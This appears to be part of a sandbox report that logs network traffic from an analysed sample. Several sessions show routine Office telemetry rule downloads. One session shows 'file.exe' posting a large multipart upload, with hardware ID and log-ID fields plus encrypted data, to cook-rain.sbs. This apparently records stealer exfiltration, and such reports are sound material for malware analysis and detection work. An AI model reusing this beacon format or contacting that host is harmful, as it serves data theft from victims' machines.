Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013418Z-16547b76f7fd77jrhC1DFWfwq000000001v0000000006g23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:18 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013418Z-16547b76f7fkf5v9hC1DFW2y5s000000050000000000aank x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013419Z-16547b76f7fpdsp9hC1DFW8f5000000002s0000000005u7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013419Z-16547b76f7fgfpmjhC1DFWw6ec00000004h000000000eckq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:19 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013419Z-164f84587bfn7ppchC1DFW0meg00000004c000000000qdqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:19 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013419Z-16547b76f7fzwxm2hC1DFWt5hw00000002tg000000001f1f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013419Z-16547b76f7fht2hfhC1DFWbngg00000005mg0000000011wx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49743	188.114.97.3	443	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8YT5MGDYU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587623 Host: cook-rain.sbs
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: 2d 2d 38 59 54 35 4d 47 44 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 33 44 31 31 43 37 41 34 38 46 36 33 34 41 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 38 59 54 35 4d 47 44 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 59 54 35 4d 47 44 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 38 59 54 35 4d 47 44 59 55 0d 0a 43 6f 6e 74 65 6e Data Ascii: --8YT5MGDYUContent-Disposition: form-data; name="hwid"643D11C7A48F634AF7005D7B20127A88--8YT5MGDYUContent-Disposition: form-data; name="pid"1--8YT5MGDYUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--8YT5MGDYUConten
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: ea 83 05 c6 4f 9b 83 bf 25 df 69 f8 58 98 46 2a e8 3e 1d dd 40 04 0f 8a b7 2f d9 4e 45 e8 c0 95 9e 08 bb 6d 2a 4f 2c 41 42 b3 f6 43 f1 a4 88 43 f1 a2 40 6e 0c 4a ad 85 53 4e 3b 32 5c a5 40 92 1d a1 80 bf 99 40 cd c4 e5 19 ca 33 ce a5 76 ee e9 d0 1d 6d 46 b4 9f c9 66 99 d4 49 40 bf bb 1f 70 9a e7 e8 a3 27 51 dc 17 de 3e 7e 6d dd b3 65 28 51 7d f7 71 57 81 d1 ca 88 85 ff f6 b1 2f f2 11 80 09 9b 9f 71 13 30 24 30 63 77 7f 07 c2 40 0d 6a 56 9c d5 30 47 22 28 ee a6 c6 11 79 86 fd af 9a 06 4f 7c 4f 30 e3 11 56 60 27 92 0f 87 7c 05 a9 de 1b bd 05 d7 00 7d a0 22 4e fc 30 ac ad de 17 21 8d 8c 77 fc e1 25 7b 69 f4 a5 22 fb 66 c9 9e 8c 59 f4 3c 35 06 9a a8 23 d1 d7 e7 96 4c 0f 04 b7 8c c4 19 8e e2 3b 5c 3f 41 ed 02 19 1e b6 7c c0 7b 3c c5 ce f5 a4 da c9 e3 4c 6e 7b Data Ascii: O%iXF>@/NEmO,ABCC@nJSN;2\@@3vmFfI@p'Q>~me(Q}qW/q0$0cw@jV0G"(yO\|O0V`'\|}"N0!w%{i"fY<5#L;\?A\|{<Ln{
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: 7b 85 e6 bb c4 76 08 12 17 cb 7c c6 6f ea 47 78 69 15 66 d2 db 0a 57 9e d4 05 ba a7 45 46 44 6c 1e bc 8c bc 5d f7 ac 20 fc 1b 75 26 7d 8e a5 8e 3a b5 2e ce b0 db d3 82 be ba 1f 9f 46 9b 27 36 7f 31 14 5d 19 96 a1 0b 7d cc a6 cc 10 dc 78 c1 25 05 0d c8 b1 ad 75 ba d2 66 bb b4 7f e3 5e dd 7c 68 62 f0 cc cd 8a 8d 6b 3e ed a7 8f 94 d8 6f 8f 17 cd ff 78 c6 f2 97 28 2e 76 04 f8 49 9f a5 9f 1a 03 cf 9c 93 e7 62 0d d6 2c 9f da ac ff 1d 49 c8 d4 4f b0 4e 46 95 66 1e 02 be 3f d9 4b a3 fb 00 dc e3 d9 95 e4 5f f7 5f b9 9c 11 ea 36 00 96 ed bd 13 a0 23 e0 12 38 34 78 ef 90 53 ea 78 82 3a 0e 98 70 ca a4 8e fe 77 a7 cd 43 1c 7c 41 08 dc 21 81 b5 64 ae 35 42 27 e4 81 db 25 cc f7 ff 3b c1 4a f1 3c ea fb 7b 24 c2 42 c0 2d fd 20 92 0c 30 20 28 4c 1d 64 e4 aa aa 2e a9 cd 33 Data Ascii: {v\|oGxifWEFDl] u&}:.F'61]}x%uf^\|hbk>ox(.vIb,IONFf?K__6#84xSx:pwC\|A!d5B'%;J<{$B- 0 (Ld.3
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: b7 bc 6a b8 49 12 e3 8a f3 1f 50 20 f2 5a 7b 4d 8d 27 0f 81 7c af 50 da 13 36 2c f6 7c 44 e6 af 3c c3 76 00 46 be 75 ed e8 60 24 48 ad 7d 73 2a e9 7a ac 82 7a 02 a0 b6 1a 45 7f 21 75 12 d4 c3 aa bd e6 12 1b 43 ff f6 48 de e4 59 d0 1a 5a 3f 47 27 19 7d 84 93 49 e9 2c c3 1b c1 f5 8b e1 9c bc 0c 3d de 8c 98 88 a6 b6 e5 c4 c5 23 49 73 61 de 3f d7 1b 75 49 2a 5b 39 3e 0b 1e 49 79 3f 6c 86 c4 b6 2e 65 f7 5c 2c d4 04 ab 30 21 e1 b3 1b 9c 7f 37 b6 97 5d 94 fa 65 5e e5 f5 c5 e1 9f 66 20 08 11 b8 c8 d8 d4 19 16 97 a4 ce 87 89 be 80 a4 26 70 37 0b 84 f2 2e aa e4 de 00 1a 29 bb a4 fe 88 fc d9 b4 88 1f e6 06 d7 52 08 c3 dc c9 af 73 c3 c5 bb d9 ed eb 6a 96 ba 00 b6 e0 ce cc 35 5d 70 11 d5 7b 14 34 04 ac 7b 0d 64 7f 95 0b 76 4a 3a ce 61 0f 38 43 27 f5 90 e7 9e 48 71 9e Data Ascii: jIP Z{M'\|P6,\|D<vFu`$H}szzE!uCHYZ?G'}I,=#Isa?uI[9>Iy?l.e\,0!7]e^f &p7.)Rsj5]p{4{dvJ:a8C'Hq
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: 3c d0 c0 3c a2 6e 5c 76 be b5 4b 88 8a 2b e5 9d 0d f9 df c2 71 a3 55 1c 70 b5 85 1d 40 a2 53 c2 65 8d 0a b4 8b 80 fa 42 01 ba cc 9b 71 9a 6c 02 0a 24 ff fe e0 e3 7a 8c 0c 6e 75 a7 d6 70 b5 f3 29 34 38 a8 21 00 e1 c9 86 75 d5 1d 32 50 46 29 90 14 8f c5 f0 1c dd 6a 09 4e 7d a1 33 fb f3 7a 23 ed 85 ed 81 aa ce 58 ae e3 7c 90 7a 08 4e ce dc 0c 97 51 2f 15 a4 96 3c e9 2e 17 c5 54 40 7c 6b c5 e5 92 e4 c3 88 cd 63 2b 6e 0e 11 4c a1 36 18 98 49 c5 a7 7b cf d7 50 6c 53 1a c2 45 46 ce dd 48 21 4b 0b 1f e6 e2 b5 30 3d 7a c2 0d 45 22 a7 f0 47 0f d7 ef aa d6 dd ef 41 dc 8d ea 7a 4e f8 77 28 14 11 2a 86 75 9a 2f 7b 66 de 2f 9a 8b b1 1c 08 51 13 40 34 17 91 2d 1c 22 f4 b6 2d 7a 8e 6a 22 ad 9a d2 8f 6f 89 4e 29 8d 7e 28 62 89 cd 79 9f 6b 3f 04 ae df 47 9d c1 89 4d d5 f2 Data Ascii: <<n\vK+qUp@SeBql$znup)48!u2PF)jN}3z#X\|zNQ/<.T@\|kc+nL6I{PlSEFH!K0=zE"GAzNw(*u/{f/Q@4-"-zj"oN)~(byk?GM
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: 2f 1f 3c ff 3b 6d 71 cd b2 14 9a 2f 80 db 0e 47 2e 67 f8 a0 2b f6 58 04 2d 5f b9 62 83 07 2f cb fe 3d 58 ef 86 7c 35 3b 10 92 04 92 f8 d1 72 f6 be 8a 2f 63 f6 e1 ba 16 c4 d6 f8 51 fe 44 88 f7 7f b8 4e a3 a9 a2 6f ab d6 8c 9d 94 d6 68 73 60 6e d2 d5 7a f8 86 cf 66 4b fc c5 5b e4 3e 93 46 8b 3c 42 6a 00 c7 f2 99 9a 7a 53 76 5c 6c 6c 78 8e 11 35 36 28 43 02 ff ab bb 48 7b b5 98 d0 d6 ba a1 d7 42 c6 09 5c 1a 55 9b fb 05 a6 2f 63 9e 2b 0a 82 c4 87 54 8e f0 2c 89 cc b0 12 06 03 aa 02 f0 d9 b4 a6 2e fa e1 76 93 90 c3 73 d7 4c 4d b0 70 22 b4 a3 14 84 90 82 69 31 f0 1e 81 a4 7d 04 1c d0 b9 05 31 3f a9 82 7d 02 a6 0e 80 39 fc e9 36 1a f8 d1 69 d4 cc 77 7c 2d d0 d7 ff dc ac 7d b6 3f fc 89 4b c9 ca 1c 89 b0 c1 aa 9a 32 41 05 6d 34 54 5f 5b c6 c9 5d bb c3 1b ba 19 22 Data Ascii: /<;mq/G.g+X-_b/=X\|5;r/cQDNohs`nzfK[>F<BjzSv\llx56(CH{B\U/c+T,.vsLMp"i1}1?}96iw\|-}?K2Am4T_[]"
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: bb 49 cd 25 72 72 e5 c7 3b aa ba 1c 65 11 6f b8 72 da 78 3e aa b3 7d ef 4e d3 cb af a5 3a b7 df 71 9e 89 0d 37 1f 11 69 79 03 0e f6 46 2b cc fd 34 2c a9 c2 1c 40 89 24 e2 70 44 a6 52 91 37 e6 b9 94 fd 17 43 3c f6 2c 59 b7 77 cd cb 83 3f a1 97 49 eb 41 25 d1 21 56 f3 19 58 48 be 1c c4 86 bf 1e f7 47 d0 ce 1c 7e b5 63 39 61 b7 fb fb 54 4b 92 09 1a 29 38 b3 45 b6 65 aa 24 7a 54 4a f6 bb 02 86 ff ac 2a a4 6a 41 ec d2 9a 2e 7d 5d d3 59 22 17 1d 27 c4 59 e8 8b 72 96 7e e2 27 59 a7 e6 01 2e 3f a2 42 3c 43 39 c2 fa 7c 80 1d 20 94 20 9b c3 f3 8b 5e d1 61 35 53 fe 9d f1 41 ea b5 2b 87 01 cc 91 eb 73 e3 0e cb 39 88 01 12 6b a8 d5 ba fc c8 08 7f 7e 60 61 81 a2 12 b5 81 84 4d d2 14 2f 7c 3e a1 a4 30 79 8e ba 4f 17 c7 3c 6b 47 25 bd fc 16 7e 00 cd 7f 8e d0 d1 f6 94 6a Data Ascii: I%rr;eorx>}N:q7iyF+4,@$pDR7C<,Yw?IA%!VXHG~c9aTK)8Ee$zTJ*jA.}]Y"'Yr~'Y.?B<C9\| ^a5SA+s9k~`aM/\|>0yO<kG%~j
